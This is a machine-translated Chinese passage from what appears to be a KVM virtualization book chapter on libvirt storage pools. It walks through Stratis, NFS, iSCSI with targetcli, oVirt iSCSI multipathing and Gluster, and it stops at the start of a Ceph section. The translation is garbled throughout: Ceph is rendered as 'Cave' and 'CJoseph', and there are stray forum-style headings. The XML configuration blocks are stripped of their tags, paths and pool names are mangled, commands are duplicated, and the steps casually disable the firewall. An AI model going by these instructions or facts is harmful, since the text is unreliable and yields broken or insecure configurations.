就目前情况来看,这不会在短期内发生。 这些政策也反映在 CentOS 中。 - -## 本地存储池 - -另一方面,Stratis 现在可用。 我们将使用它通过创建存储池来管理我们的本地存储。 创建池需要我们事先设置分区或磁盘。 在创建池之后,我们可以在其上创建卷。 我们只需要非常小心一件事-尽管 Stratis 可以管理 XFS 文件系统,但我们不应该直接从文件系统级别更改 Stratis 管理的 XFS 文件系统。 例如,不要直接从基于 XFS 的命令重新配置或重新格式化基于 Stratis 的 XFS 文件系统,因为这样会对系统造成严重破坏。 - -Stratis 支持各种不同类型的块存储设备: - -* 硬盘和固态硬盘 -* ISCSI LUN -* LVM -* 卢克斯 -* MD RAID -* 设备映射器多路径 -* NVMe 设备 - -让我们从头开始安装 Stratis,这样我们就可以使用它了。 让我们使用以下命令: - -```sh -yum -y install stratisd stratis-cli -systemctl enable --now stratisd -``` - -第一个命令安装 Stratis 服务和相应的命令行实用程序。 第二个将启动并启用 Stratis 服务。 - -现在,我们将通过一个完整的示例来说明如何使用 Stratis 配置您的存储设备。 我们将介绍这种分层方法的一个示例。 因此,我们要做的是: - -* 使用 MD RAID 创建软件 RAID10+备件。 -* 从该 MD RAID 设备创建一个 Stratis 池。 -* 将缓存设备添加到池中以使用 Stratis 的缓存功能。 -* 创建一个 Stratis 文件系统并将其挂载到本地服务器上。 - -这里的前提很简单-通过 MD RAID 的软件 RAID10+SPARE 将近似于常规的生产方法,在这种方法中,您将有某种硬件 RAID 控制器向系统呈现单个块设备。 我们将向池中添加一个缓存设备来验证缓存功能,因为如果我们使用 ZFS,我们很可能也会这样做。 然后,我们将在该池之上创建一个文件系统,并在以下命令的帮助下将其装载到本地目录: - -```sh -mdadm --create /dev/md0 --verbose --level=10 --raid-devices=4 /dev/sdb /dev/sdc /dev/sdd /dev/sde --spare-devices=1 /dev/sdf2 -stratis pool create PacktStratisPool01 /dev/md0 -stratis pool add-cache PacktStratisPool01 /dev/sdg -stratis pool add-cache PacktStratisPool01 /dev/sdg -stratis fs create PackStratisPool01 PacktStratisXFS01 -mkdir /mnt/packtStratisXFS01 -mount /stratis/PacktStratisPool01/PacktStratisXFS01 /mnt/packtStratisXFS01 -``` - -这个挂载的文件系统是 XFS 格式的。 然后,我们可以通过 NFS 导出轻松使用此文件系统,这正是我们在 NFS 存储课程中要做的。 但现在,这只是一个如何使用 Stratis 创建池的示例。 - -我们已经介绍了本地存储池的一些基础知识,这使我们更接近我们的下一个主题,即如何从 libvirt 的角度使用池。 所以,这将是我们的下一个话题。 - -## Libvirt 存储池 - -Libvirt 管理其个自己的存储池,这是为了一件事--为虚拟机磁盘和相关数据提供个不同的存储池。 请记住,libvirt 使用底层操作系统支持的内容,因此它支持不同存储池类型的负载也就不足为奇了。 一张图片胜过千言万语,所以下面是从 virt-manager 创建 libvirt 存储池的屏幕截图: - -![Figure 5.1 – Different storage pool types supported by libvirt ](img/B14834_05_01.jpg) - -图 5.1-libvirt 支持的不同存储池类型 - -Libvirt 已经有一个预定义的默认存储池,它是本地服务器上的一个目录存储池。 此默认池位于`/var/lib/libvirt/images`目录中。 这表示我们将保存本地安装的虚拟机中的所有数据的默认位置。 - -在以下部分中,我们将创建各种不同类型的存储池-基于 NFS 的池、iSCSI 和 FC 池,以及 Gluster 和 Ceph 池:总共 9 码。 我们还将解释何时使用它们中的每一个,因为涉及到不同的使用模式。 - -# < - -作为一种协议,NFS 从 80 年代中期就开始出现了。 它最初是由 Sun Microsystems 开发的,作为一种共享文件的协议,直到今天它也一直在使用。 实际上,它仍在开发中,这对于一项如此*老*的技术来说是相当令人惊讶的。 例如,NFS 4.2 版于 2016 年问世。 在此版本中,NFS 收到了非常大的更新,如下所示: - -* **服务器端复制**:通过在 NFS 服务器之间直接执行克隆来显著提高 NFS 服务器之间的克隆操作速度的功能 -* **稀疏文件**和**空间预留**:这些功能增强了 NFS 处理具有未分配块的文件的方式,同时关注容量,以便我们可以在需要写入数据时保证空间可用性 -* **应用数据块支持**:帮助将文件作为块设备(磁盘)使用的应用的功能 -* 更好的 pNFS 实施 - -V4.2 中还增强了其他一些功能,但目前,这已经足够了。 您可以在 IETF 的 RFC7862 文档([https://tools.ietf.org/html/rfc7862](https://tools.ietf.org/html/rfc7862))中找到有关这方面的更多信息。 我们将把注意力集中在 NFS v4.2 的实现上,因为这是 NFS 目前所能提供的最好的功能。 它也恰好是 CentOS 8 支持的默认 NFS 版本。 - -我们要做的第一件事是安装必要的软件包。 我们将通过使用以下命令来实现这一点: - -```sh -yum -y install nfs-utils -systemctl enable --now nfs-server -``` - -第一个命令安装运行 NFS 服务器所需的实用程序。 第二个将启动它并永久启用它,以便 NFS 服务在重启后可用。 - -我们的下一个任务是配置要通过 NFS 服务器共享的内容。 为此,我们需要*导出*一个目录,并通过网络使其可供我们的客户端使用。 为此,NFS 使用配置文件`/etc/exports`。 假设我们想要创建一个名为`/exports`的目录,然后将其共享给`192.168.159.0/255.255.255.0`网络中的客户端,并且我们希望允许他们在该共享上写入数据。 我们的`/etc/exports`文件应该如下所示: - -```sh -/mnt/packtStratisXFS01 192.168.159.0/24(rw) -exportfs -r -``` - -这些配置选项告诉我们的 NFS 服务器要导出哪个目录(`/exports`)、要导出到哪些客户端(`192.168.159.0/24`)以及要使用哪些选项(`rw`表示读写)。 - -其他一些可用的选项包括: - -* `ro`:只读模式。 -* `sync`:同步 I/O 操作。 -* `root_squash`:来自`UID 0`和`GID 0`的所有 I/O 操作都映射到可配置的匿名 UID 和 GID(`anonuid`和`anongid`选项)。 -* `all_squash`:来自任何 UID 和 GID 的所有 I/O 操作都映射到匿名 UID 和 GID(`anonuid`和`anongid`选项)。 -* `no_root_squash`:来自`UID 0`和`GID 0`的所有 I/O 操作都映射到`UID 0`和`GID 0`。 - -如果需要将多个选项应用于导出的目录,请在它们之间加上逗号,如下所示: - -```sh -/mnt/packtStratisXFS01 192.168.159.0/24(rw,sync,root_squash) -``` - -您可以使用完全限定的域名或短主机名(如果它们可以通过 DNS 或任何其他机制进行解析)。 此外,如果您不喜欢使用前缀(`24`),可以使用常规网络掩码,如下所示: - -```sh -/mnt/packtStratisXFS01 192.168.159.0/255.255.255.0(rw,root_squash) -``` - -现在我们已经配置了 NFS 服务器,让我们看看如何配置 libvirt 以将该服务器用作存储池。 一如既往,有几种方法可以做到这一点。 我们可以只使用池定义创建一个 XML 文件,并使用`virsh pool-define --file`命令将其导入到 KVM 主机。 以下是配置文件示例: - -![Figure 5.2 – Example XML configuration file for NFS pool ](img/B14834_05_02.jpg) - -图 5.2-NFS 池的 XML 配置文件示例 - -让我们解释一下这些配置选项: - -* `pool type`:`netfs`表示我们将使用 NFS 文件共享。 -* `name`:池名称,因为 libvirt 使用池作为命名对象,就像虚拟网络一样。 -* `host`:我们连接到的 NFS 服务器的地址。 -* `dir path`:我们通过`/etc/exports`在 NFS 服务器上配置的 NFS 导出路径。 -* `path`:要将 NFS 共享装载到的 KVM 主机上的本地目录。 -* `permissions`:用于挂载此文件系统的权限。 -* `owner`和`group`:用于挂载的 UID 和 GID(这就是我们之前使用`no_root_squash`选项导出文件夹的原因)。 -* `label`:此文件夹的 SELinux 标签-我们将在[*第 16 章*](16.html#_idTextAnchor302),*KVM 平台故障排除指南*中讨论此问题。 - -如果我们愿意,我们可以很容易地通过 Virtual Machine Manager GUI 来做同样的事情。 首先,我们必须选择正确的类型(NFS 池)并为其命名: - -![Figure 5.3 – Selecting the NFS pool type and giving it a name ](img/B14834_05_03.jpg) - -图 5.3-选择 NFS 池类型并为其命名 - -单击**Forward**之后,我们可以转到最后一个配置步骤,在该步骤中,我们需要告诉向导我们要从哪台服务器装载 NFS 共享: - -![Figure 5.4 – Configuring NFS server options ](img/B14834_05_04.jpg) - -图 5.4-配置 NFS 服务器选项 - -当我们完成这些配置选项(**主机名**和**源路径**)的键入后,我们可以按**Finish**,这将意味着退出向导。 此外,我们之前的配置屏幕(仅包含**默认**存储池)现在还列出了我们新配置的池: - -![Figure 5.5 – Newly configured NFS pool visible on the list ](img/B14834_05_05.jpg) - -图 5.5-列表中显示新配置的 NFS 池 - -我们何时在 libvirt 中使用基于 NFS 的存储池?用途是什么? 基本上,我们可以很好地将它们用于与存储安装映像相关的任何事情-ISO 文件、虚拟软盘文件、虚拟机文件等等。 - -请记住,尽管不久前似乎 NFS 几乎从企业环境中消失了,但 NFS 仍然存在。 实际上,随着 NFS4.1、4.2 和 pNFS 的推出,它在市场上的前景看起来甚至比几年前更好。 这是一个非常熟悉的协议,有很长的历史,在许多情况下它仍然很有竞争力。 如果您熟悉 VMware 虚拟化技术,VMware 在 ESXi 6.0 中引入了一种称为虚拟卷的技术。 这是一种基于对象的存储技术,既可以使用基于数据块的协议,也可以使用基于 NFS 的协议,对于某些场景来说,这是一个非常引人注目的使用案例。 但现在,让我们转到块级技术,如 iSCSI 和 FC。 - -# 帖子主题:回复:iSCSI 和 SAN 存储 - -长期以来,将 iSCSI 用于个虚拟机存储一直是家常便饭。 即使您考虑到 iSCSI 不是实现存储的最有效方式这一事实,它仍然被广泛接受,您会发现它无处不在。 效率受到影响的原因有两个: - -* ISCSI 将 SCSI 命令封装到常规 IP 包中,这意味着分段和开销,因为 IP 包具有非常大的报头,这意味着效率较低。 -* 更糟糕的是,它是基于 TCP 的,这意味着存在序列号和重传,这可能会导致排队和延迟,而且环境越大,您通常越会感觉到这些影响对虚拟机性能的影响。 - -话虽如此,它基于以太网堆栈的事实使得部署基于 iSCSI 的解决方案变得更容易,同时也带来了一些独特的挑战。 例如,有时很难向客户解释对虚拟机流量和 iSCSI 流量使用相同的网络交换机不是最好的想法。 更糟糕的是,客户有时会被省钱的愿望蒙蔽双眼,以至于他们不明白自己的工作违背了自己的最佳利益。 尤其是在网络带宽方面。 我们中的大多数人都去过那里,试图解决客户的问题,比如*“但我们已经有一台千兆以太网交换机了,为什么还需要比这个更快的交换机呢?”* - -事实是,在 iSCSI 的错综复杂的情况下,更多就是更多。 磁盘/缓存/控制器端的速度越快,网络端的带宽越大,创建速度更快的存储系统的机会就越大。 所有这些都会对我们的虚拟机性能产生重大影响。 正如您将在*存储冗余和多路径*部分中看到的那样,您实际上可以自己构建一个非常好的存储系统-包括 iSCSI 和 FC。 当您尝试创建某种测试实验室/环境以供您发展 KVM 虚拟化技能时,这可能会非常有用。 您也可以将这些知识应用于其他虚拟化环境。 - -ISCSI 和 FC 体系结构非常相似-它们都需要目标(iSCSI 目标和 FC 目标)和启动器(ISCS 启动器和 FC 启动器)。 在此术语中,目标是*服务器*组件,发起方是*客户端*组件。 简单地说,启动器连接到目标,以访问通过该目标呈现的数据块存储。 然后,我们可以使用启动器的标识来*限制*启动器能够在目标上看到的内容。 这就是在比较 iSCSI 和 FC 时术语开始有所不同的地方。 - -在 iSCSI 中,启动器的身份可以由四个不同的属性定义。 这些建议如下: - -* **iSCSI 限定名称**(**IQN**):这是所有启动器和目标在 iSCSI 通信中具有的唯一名称。 我们可以将其与常规基于以太网的网络中的 MAC 或 IP 地址进行比较。 您可以这样想-IQN 对于 iSCSI 来说就像 MAC 或 IP 地址对于基于以太网的网络一样。 -* **IP 地址**:每个启动器将使用不同的 IP 地址连接到目标。 -* **MAC 地址**:每个发起方在第 2 层上都有不同的 MAC 地址。 -* **完全限定域名**(**FQDN**):这表示由 DNS 服务解析的服务器的名称。 - -从 iSCSI 目标的角度来看(取决于其实现),您可以使用这些属性中的任何一个来创建配置,该配置将告诉 iSCSI 目标可以使用哪些 IQN、IP 地址、MAC 地址或 FQDN 连接到它。 这就是所谓的*掩蔽*,因为通过使用这些身份并将它们与 LUN 配对,我们可以*掩蔽*启动器可以在 iSCSI 目标上*看到*的内容。 LUN 只是我们通过 iSCSI 目标向启动器导出的原始数据块容量。 LUN 采用*索引*或*编号*,通常从 0 开始。 每个 LUN 编号代表启动器可以连接到的不同存储容量。 - -例如,我们可以让 iSCSI 目标具有三个不同的 LUN-`LUN0`(20 GB)、`LUN1`(40 GB)和`LUN2`(60 GB)。 这些都将托管在同一存储系统的 iSCSI 目标上。 然后,我们可以将 iSCSI 目标配置为接受 IQN 以查看所有 LUN,将另一个 IQN 配置为仅看到`LUN1`,并将另一个 IQN 配置为仅看到`LUN1`和`LUN2`。 这实际上是我们现在要配置的内容。 - -让我们从配置 iSCSI 目标服务开始。 为此,我们需要安装`targetcli`包,并配置服务(称为`target`)以运行: - -```sh -yum -y install targetcli -systemctl enable --now target -``` - -请注意防火墙配置;您可能需要将其配置为允许在端口`3260/tcp`上进行连接,该端口是 iSCSI 目标门户使用的端口。 因此,如果您的防火墙已启动,请键入以下命令: - -```sh -firewall-cmd --permanent --add-port=3260/tcp ; firewall-cmd --reload -``` - -就要使用的存储后端而言,Linux 上的 iSCSI 有三种可能性。 我们可以使用常规文件系统(如 XFS)、块设备(硬盘)或 LVM。 所以,这正是我们要做的。 我们的场景将如下所示: - -* `LUN0`(20 GB):基于 XFS 的文件系统,在`/dev/sdb`设备上 -* `LUN1`(40 GB):硬盘,在`/dev/sdc`设备上 -* `LUN2`(60 GB):LVM,在`/dev/sdd`设备上 - -因此,在我们安装了必要的软件包并配置了目标服务和防火墙之后,我们应该开始配置我们的 iSCSI 目标。 我们只需启动`targetcli`命令并检查状态,这应该是一张白板,因为我们才刚刚开始这个过程: - -![Figure 5.6 – The targetcli starting point – empty configuration ](img/B14834_05_06.jpg) - -图 5.6-targetcli 起点-空配置 - -让我们从循序渐进的过程开始: - -1. So, let's configure the XFS-based filesystem and configure the `LUN0` file image to be saved there. First, we need to partition the disk (in our case, `/dev/sdb`): - - ![Figure 5.7 – Partitioning /dev/sdb for the XFS filesystem ](img/B14834_05_07.jpg) - - 图 5.7-XFS 文件系统的/dev/sdb 分区 - -2. The next step is to format this partition, create and use a directory called `/LUN0` to mount this filesystem, and serve our `LUN0` image, which we're going to configure in the next steps: - - ![Figure 5.8 – Formatting the XFS filesystem, creating a directory, and mounting it to that directory ](img/B14834_05_08.jpg) - - 图 5.8-格式化 XFS 文件系统,创建目录,并将其挂载到该目录 - -3. The next step is configuring `targetcli` so that it creates `LUN0` and assigns an image file for `LUN0`, which will be saved in the `/LUN0` directory. First, we need to start the `targetcli` command: - - ![Figure 5.9 – Creating an iSCSI target, LUN0, and hosting it as a file ](img/B14834_05_09.jpg) - - 图 5.9-创建 iSCSI 目标 LUN0 并将其作为文件托管 - -4. 接下来,让我们配置将使用`/dev/sdc1`(使用上一个示例创建分区)的基于数据块设备的 LUN 后端-`LUN2`,并检查当前状态: - -![Figure 5.10 – Creating LUN1, hosting it directly from a block device ](img/B14834_05_10.jpg) - -图 5.10-创建 LUN1,直接从数据块设备托管它 - -因此,现在配置了`LUN0`和`LUN1`及其各自的后端。 让我们通过配置 LVM 来完成这些工作: - -1. First, we are going to prepare the physical volume for LVM, create a volume group out of that volume, and display all the information about that volume group so that we can see how much space we have for `LUN2`: - - ![Figure 5.11 – Configuring the physical volume for LVM, building a volume group, and displaying information about that volume group ](img/B14834_05_11.jpg) - - 图 5.11-为 LVM 配置物理卷,构建卷组,并显示有关该卷组的信息 - -2. The next step is to actually create the logical volume, which is going to be our block storage device backend for `LUN2` in the iSCSI target. We can see from the `vgdisplay` output that we have 15,359 4 MB blocks available, so let's use that to create our logical volume, called `LUN2`. Go to `targetcli` and configure the necessary settings for `LUN2`: - - ![Figure 5.12 – Configuring LUN2 with the LVM backend ](img/B14834_05_12.jpg) - - 图 5.12-使用 LVM 后端配置 LUN2 - -3. 让我们停在这里一秒钟,切换到 KVM 主机(iSCSI 启动器)配置。 首先,我们需要安装 iSCSI 启动器,它是名为`iscsi-initiator-utils`的软件包的一部分。 因此,让我们使用`yum`命令安装: - - ```sh - yum -y install iscsi-initiator-utils - ``` - -4. 接下来,我们需要配置启动器的 IQN。 我们通常希望该名称让人想起主机名,因此,看到我们主机的 FQDN 是`PacktStratis01`,我们将使用它来配置 IQN。 为此,我们需要编辑`/etc/iscsi/initiatorname.iscsi`文件并配置`InitiatorName`选项。 例如,让我们将其设置为`iqn.2019-12.com.packt:PacktStratis01`。 `/etc/iscsi/initiatorname.iscsi`文件的内容如下: - - ```sh - InitiatorName=iqn.2019-12.com.packt:PacktStratis01 - ``` - -5. Now that this is configured, let's go back to the iSCSI target and create an **Access Control List** (**ACL**). The ACL is going to allow our KVM host's initiator to connect to the iSCSI target portal: - - ![Figure 5.13 – Creating an ACL so that the KVM host's initiator can connect to the iSCSI target ](img/B14834_05_13.jpg) - - 图 5.13-创建 ACL,以便 KVM 主机的启动器可以连接到 iSCSI 目标 - -6. 接下来,我们需要将预先创建的基于文件和基于数据块的设备发布到 iSCSI 目标 LUN。 因此,我们需要这样做: - -![Figure 5.14 – Adding our file-based and block-based devices to the iSCSI target LUNs 0, 1, and 2 ](img/B14834_05_14.jpg) - -图 5.14-将基于文件和基于数据块的设备添加到 iSCSI 目标 LUN 0、1 和 2 - -最终结果应该如下所示: - -![Figure 5.15 – The end result ](img/B14834_05_15.jpg) - -图 5.15-最终结果 - -至此,一切都配置好了。 我们需要返回到 KVM 主机并定义将使用这些 LUN 的存储池。 要做到这一点,最简单的方法是使用池的 XML 配置文件。 因此,下面是我们的示例配置 XML 文件;我们将其命名为`iSCSIPool.xml`: - -```sh - - MyiSCSIPool - - - - - - - - - /dev/disk/by-path - - -``` - -让我们一步一步地解释该文件: - -* `pool type= 'iscsi'`:我们告诉 libvirt 这是一个 iSCSI 池。 -* `name`:池名称。 -* `host name`:iSCSI 目标的 IP 地址。 -* `device path`:iSCSI 目标的 IQN。 -* 启动器部分中的 IQN 名称:启动器的 IQN。 -* `target path`:将装载 iSCSI 目标的 LUN 的位置。 - -现在,我们要做的就是定义、启动和自动启动新的 iSCSI 支持的 KVM 存储池: - -```sh -virsh pool-define --file iSCSIPool.xml -virsh pool-start --pool MyiSCSIPool -virsh pool-autostart --pool MyiSCSIPool -``` - -可通过`virsh`轻松检查配置的目标路径部分。 如果我们在 KVM 主机中键入以下 WING 命令,我们将从刚刚配置的`MyiSCSIPool`池中获得可用 LUN 的列表: - -```sh -virsh vol-list --pool MyiSCSIPool -``` - -此命令的结果如下: - -![Figure 5.16 – Runtime names for our iSCSI pool LUNs ](img/B14834_05_16.jpg) - -图 5.16-我们的 iSCSI 池 LUN 的运行时名称 - -如果此输出让您稍微想起 VMware vSphere 虚拟机管理器存储运行时名称,那么您肯定是在正确的轨道上。 当我们开始部署虚拟机时,我们将能够在[*第 7 章*](07.html#_idTextAnchor125)、*虚拟机-安装、配置和生命周期管理*中使用这些存储池。 - -# 存储冗余和多路径 - -冗余是 IT 关键字之一,任何单个组件故障都可能给公司或其客户带来大问题。 避免 SPOF 的总体设计原则是我们应该始终坚持的。 归根结底,任何网络适配器、电缆、交换机、路由器或存储控制器都不会永远工作。 因此,在我们的设计中计算冗余有助于我们的 IT 环境在其正常生命周期中发挥作用。 - -同时,冗余还可以与多路径相结合,以确保更高的吞吐量。 例如,当我们将物理主机连接到具有两个控制器(每个控制器有四个 FC 端口)的 FC 存储时,我们可以使用四条路径(如果存储是主动-被动)或八条路径(如果它是主动-主动)来连接从该存储设备导出到主机的相同 LUN。 这为我们提供了多个额外的 LUN 访问选项,此外,它还为我们提供了更高的可用性,即使在出现故障的情况下也是如此。 - -例如,让常规 KVM 主机执行 iSCSI 多路径操作相当复杂。 在文档方面存在多个配置问题和空白,这样的配置的支持性令人怀疑。 但是,也有一些产品使用开箱即支持的 KVM,例如 oVirt(我们之前介绍过)和**Red Hat Enterprise Virtualization Hypervisor**(**RHEV-H**)。 因此,让我们在 iSCSI 上使用 oVirt 作为这个示例。 - -在执行此操作之前,请确保已执行以下操作: - -* 您的虚拟机管理器主机将添加到 oVirt 清单中。 -* 您的虚拟机管理器主机有两个独立于管理网络的附加网卡。 -* ISCSI 存储在与两个额外的虚拟机管理器网卡相同的第 2 层网络中有两个额外的网卡。 -* 对 iSCSI 存储进行配置,使其至少具有一个目标和一个 LUN,其配置方式将使虚拟机管理器主机能够连接到它。 - -因此,当我们在 oVirt 中执行此操作时,我们需要做几件事。 首先,从网络的角度来看,创建一些存储网络将是一个好主意。 在我们的示例中,我们将为 iSCSI 分配两个网络,并将其命名为`iSCSI01`和`iSCSI02`。 我们需要打开 oVirt 管理面板,将鼠标悬停在**Network**上,然后从菜单中选择**Networks**。 这将打开**新建逻辑网络**向导的弹出窗口。 因此,我们只需要将网络命名为`iSCSI01`(对于第一个网络),取消选中**VM network**复选框(因为这不是一个虚拟机网络),然后转到**Cluster**选项卡,在那里我们取消选中**Required All**复选框。 对`iSCSI02`网络再次重复整个过程: - -![Figure 5.17 – Configuring networks for iSCSI bond ](img/B14834_05_17.jpg) - -图 5.17-为 iSCSI 绑定配置网络 - -下一步是将这些网络分配给主机网络适配器。 转到`compute/hosts`,双击您添加到 oVirt 清单中的主机,选择**网络接口**选项卡,然后单击右上角的**设置主机网络**图标。 在 UI 中,在第二个网络接口上拖放`iSCSI01`,在第三个网络接口上拖放`iSCSI02`。 第一个网络接口已经被 oVirt 管理网络占用。 它应该看起来像这样: - -![Figure 5.18 – Assigning virtual networks to the hypervisor's physical adapters ](img/B14834_05_18.jpg) - -图 5.18-将虚拟网络分配给虚拟机管理器的物理适配器 - -在关闭窗口之前,请确保单击`iSCSI01`和`iSCSI02`上的*铅笔*符号,为这两个虚拟网络设置 IP 地址。 分配可将您连接到相同或不同子网上的 iSCSI 存储的网络配置: - -![Figure 5.19 – Creating an iSCSI bond on the data center level ](img/B14834_05_19.jpg) - -图 5.19-在数据中心级别创建 iSCSI 绑定 - -现在,您已经配置了 iSCSI 绑定。 我们配置的最后一部分是启用它。 同样,在 oVirt GUI 中,转到**Compute**|**Data Centers**,双击选择您的数据中心,然后转到**iSCSI Multipathing**选项卡: - -![Figure 5.20 – Configuring iSCSI multipathing on the data center level ](img/B14834_05_20.jpg) - -图 5.20-在数据中心级别配置 iSCSI 多路径 - -单击右上角的**Add**按钮并浏览向导。 具体地说,在弹出窗口的顶部选择`iSCSI01`和`iSCSI02`网络,在下方选择 iSCSI 目标。 - -既然我们已经介绍了存储池、NFS 和 iSCSI 的基础知识,我们可以继续使用一种标准的开源方式来部署存储基础设施,即使用 Gluster 和/或 Cave。 - -# Gluster 和 Cave 作为 KVM 的存储后端 - -还有其他高级类型的文件系统可以用作 libvirt 存储后端。 那么,现在让我们来讨论其中的两个-Gluster 和 Cave。 稍后,我们还将检查 libvirt 如何使用 GFS2。 - -## 光泽 - -Gluster 是一种分布式文件系统,通常用于高可用性场景。 与其他文件系统相比,它的主要优势在于它是可扩展的,它可以使用复制和快照,它可以在任何服务器上工作,并且它可以用作共享存储的基础-例如,通过 NFS 和 SMB。 它是由一家名为 Gluster Inc.的公司开发的,该公司于 2011 年被 RedHat 收购。 然而,与 Cave 不同的是,它是一种*文件*存储服务,而 Cave 提供了基于*块*和*对象*的存储。 针对基于数据块的设备的基于对象的存储意味着直接到 LUN 的二进制存储。 不涉及文件系统,这在理论上意味着更少的开销,因为没有文件系统、文件系统表和其他可能减慢 I/O 进程的构造。 - -让我们首先配置 Gluster 以显示其使用 libvirt 的用例。 在生产中,这意味着至少安装三台 Gluster 服务器,这样我们才能实现高可用性。 Gluster 配置非常简单,在我们的示例中,我们将创建三台 CentOS7 计算机,用于托管 Gluster 文件系统。 然后,我们将在虚拟机管理器主机上挂载该文件系统,并将其用作本地目录。 我们可以直接从 libvirt 使用 GlusterFS,但其实现不如通过 Gluster 客户端服务使用 GlusterFS,将其挂载为本地目录,并在 libvirt 中直接用作目录池。 - -我们的配置如下所示: - -![Figure 5.21 – Basic settings for our Gluster cluster ](img/B14834_05_21.jpg) - -图 5.21-Gluster 群集的基本设置 - -那么,让我们将其投入到生产中。 在配置 Gluster 并将其公开给 KVM 主机之前,我们必须在所有服务器上发出大量命令。 让我们从`gluster1`开始。 首先,我们将进行系统范围的更新和重启,为 Gluster 安装准备核心操作系统。 在所有三台 CentOS 7 服务器中键入以下命令: - -```sh -yum -y install epel-release* -yum -y install centos-release-gluster7.noarch -yum -y update -yum -y install glusterfs-server -systemctl reboot -``` - -然后,我们可以开始部署必要的存储库和包、格式化磁盘、配置防火墙等。 在所有服务器中键入以下命令: - -```sh -mkfs.xfs /dev/sdb -mkdir /gluster/bricks/1 -p -echo '/dev/sdb /gluster/bricks/1 xfs defaults 0 0' >> /etc/fstab -mount -a -mkdir /gluster/bricks/1/brick -systemctl disable firewalld -systemctl stop firewalld -systemctl start glusterd -systemctl enable glusterd -``` - -我们还需要进行一些网络配置。 如果这三个服务器能够*相互解析*就好了,这意味着要么配置一个 DNS 服务器,要么向我们的`/etc/hosts`文件中添加几行。 我们来做后一种吧。 将以下行添加到您的`/etc/hosts`文件: - -```sh -192.168.159.147 gluster1 -192.168.159.148 gluster2 -192.168.159.149 gluster3 -``` - -对于配置的下一部分,我们只需登录到第一台服务器,并将其用作我们的 Gluster 基础设施的实际管理服务器。 键入以下命令: - -```sh -gluster peer probe gluster1 -gluster peer probe gluster2 -gluster peer probe gluster3 -gluster peer status -``` - -前三个命令应该会让您进入`peer probe: success`状态。 第三个命令应返回类似以下内容的输出: - -![Figure 5.22 – Confirmation that the Gluster servers peered successfully ](img/B14834_05_22.jpg) - -图 5.22-确认 Gluster 服务器已成功对等 - -现在已经完成了这一部分的配置,我们可以创建 Gluster 分布式文件系统了。 我们可以通过键入以下命令序列来完成此操作: - -```sh -gluster volume create kvmgluster replica 3 \ gluster1:/gluster/bricks/1/brick gluster2:/gluster/bricks/1/brick \ gluster3:/gluster/bricks/1/brick -gluster volume start kvmgluster -gluster volume set kvmgluster auth.allow 192.168.159.0/24 -gluster volume set kvmgluster allow-insecure on -gluster volume set kvmgluster storage.owner-uid 107 -gluster volume set kvmgluster storage.owner-gid 107 -``` - -然后,我们可以出于测试目的将 Gluster 挂载为 NFS 目录。 例如,我们可以为所有成员主机(`gluster1`、`gluster2`和`gluster3`)创建名为`kvmgluster`的分布式命名空间。 我们可以使用以下命令来完成此操作: - -```sh -echo 'localhost:/kvmgluster /mnt glusterfs \ defaults,_netdev,backupvolfile-server=localhost 0 0' >> /etc/fstab -mount.glusterfs localhost:/kvmgluster /mnt -``` - -Gluster 部分现在已准备好,因此我们需要返回到 KVM 主机,并通过键入以下命令将 Gluster 文件系统挂载到其中: - -```sh -wget \ https://download.gluster.org/pub/gluster/glusterfs/6/LATEST/CentOS/gl\ usterfs-rhel8.repo -P /etc/yum.repos.d -yum install glusterfs glusterfs-fuse attr -y -mount -t glusterfs -o context="system_u:object_r:virt_image_t:s0" \ gluster1:/kvmgluster /var/lib/libviimg/GlusterFS -``` - -我们必须密切关注服务器和客户端上的 Gluster 版本,这就是为什么我们下载了 CentOS8 的 Gluster 存储库信息(我们在 KVM 服务器上使用它)并安装了必要的 Gluster 客户端包。 这使我们能够使用最后一个命令挂载文件系统。 - -现在我们已经完成了配置,我们只需要将该目录添加为 libvirt 存储池。 让我们通过使用带有存储池定义的 XML 文件来实现这一点,该文件包含以下条目: - -```sh - - glusterfs-pool - - /var/lib/libviimg/GlusterFS - - 0755 - 107 - 107 - - - - -``` - -假设我们将该文件保存在当前目录中,并且该文件名为`gluster.xml`。 我们可以使用以下`virsh`命令在 libvirt 中导入并启动它: - -```sh -virsh pool-define --file gluster.xml -virsh pool-start --pool glusterfs-pool -virsh pool-autostart --pool glusterfs-pool -``` - -我们应该在引导时自动挂载此池,以便 libvirt 可以使用它。 因此,我们需要在`/etc/fstab`中添加以下行: - -```sh -gluster1:/kvmgluster /var/lib/libviimg/GlusterFS \ glusterfs defaults,_netdev 0 0 -``` - -使用基于目录的方法,我们可以避免 libvirt(及其 GUI 界面`virt-manager`)在 Gluster 存储池中遇到的两个问题: - -* 我们可以使用 Gluster 的故障转移功能,它将由我们直接安装的 Gluster 实用程序自动管理,因为 libvirt 还不支持它们。 -* 我们将避免手动创建虚拟机磁盘*,这是 libvirt 实现 Gluster 支持的另一个限制,而基于目录的存储池支持它没有任何问题。* - - *我们提到*故障转移*似乎很奇怪,因为我们似乎没有将其配置为前面任何步骤的一部分。 实际上,我们有。 当我们发出最后一个 mount 命令时,我们使用 Gluster 的内置模块建立到*First*Gluster 服务器的连接。 这反过来意味着,在此连接之后,我们获得了有关整个 Gluster 池的所有详细信息,我们对其进行了配置,使其托管在三台服务器上。 如果发生任何类型的故障-我们可以很容易地模拟-此连接将继续工作。 我们可以通过关闭任何 Gluster 服务器来模拟此场景,例如-`gluster1`。 您将看到,即使`gluster1`关闭,我们挂载的 Gluster 目录所在的本地目录仍然有效。 让我们看看实际情况(默认超时时间是 42 秒): - -![Figure 5.23 – Gluster failover working; the first node is down, but we're still able to get our files ](img/B14834_05_23.jpg) - -图 5.23-Gluster 故障切换正在工作;第一个节点已关闭,但我们仍能获得文件 - -如果我们想采取更积极的行动,我们可以通过在任何 Gluster 服务器上发出以下命令,将此超时时间缩短到-例如-2 秒: - -```sh -gluster volume set kvmgluster network.ping-timeout number -``` - -`number`部分以秒为单位,通过为其分配一个较低的数字,我们可以直接影响故障转移过程的积极程度。 - -现在一切都配置好了,我们可以开始使用 Gluster 池来部署虚拟机了,我们将在[*第 7 章*](07.html#_idTextAnchor125)、*虚拟机-安装、配置和生命周期管理*中进一步讨论这一点。 - -由于 Gluster 是一个可用于 libvirt 的基于文件的后端,因此描述如何使用高级块级和对象级存储后端是很自然的。 这就是塞夫的用武之地,所以让我们现在就来做这件事。 - -## 塞夫 - -CJoseph 可以充当基于文件、基于块和基于对象的存储。 但在很大程度上,我们通常将其用作基于块或基于对象的存储。 同样,这是一款开源软件,可以在任何服务器(或虚拟机)上运行。 在其核心中,Cave 在可伸缩散列(**CRUSH**)下运行名为**受控复制的算法。 该算法试图以伪随机的方式跨目标设备分发数据,在 Cave 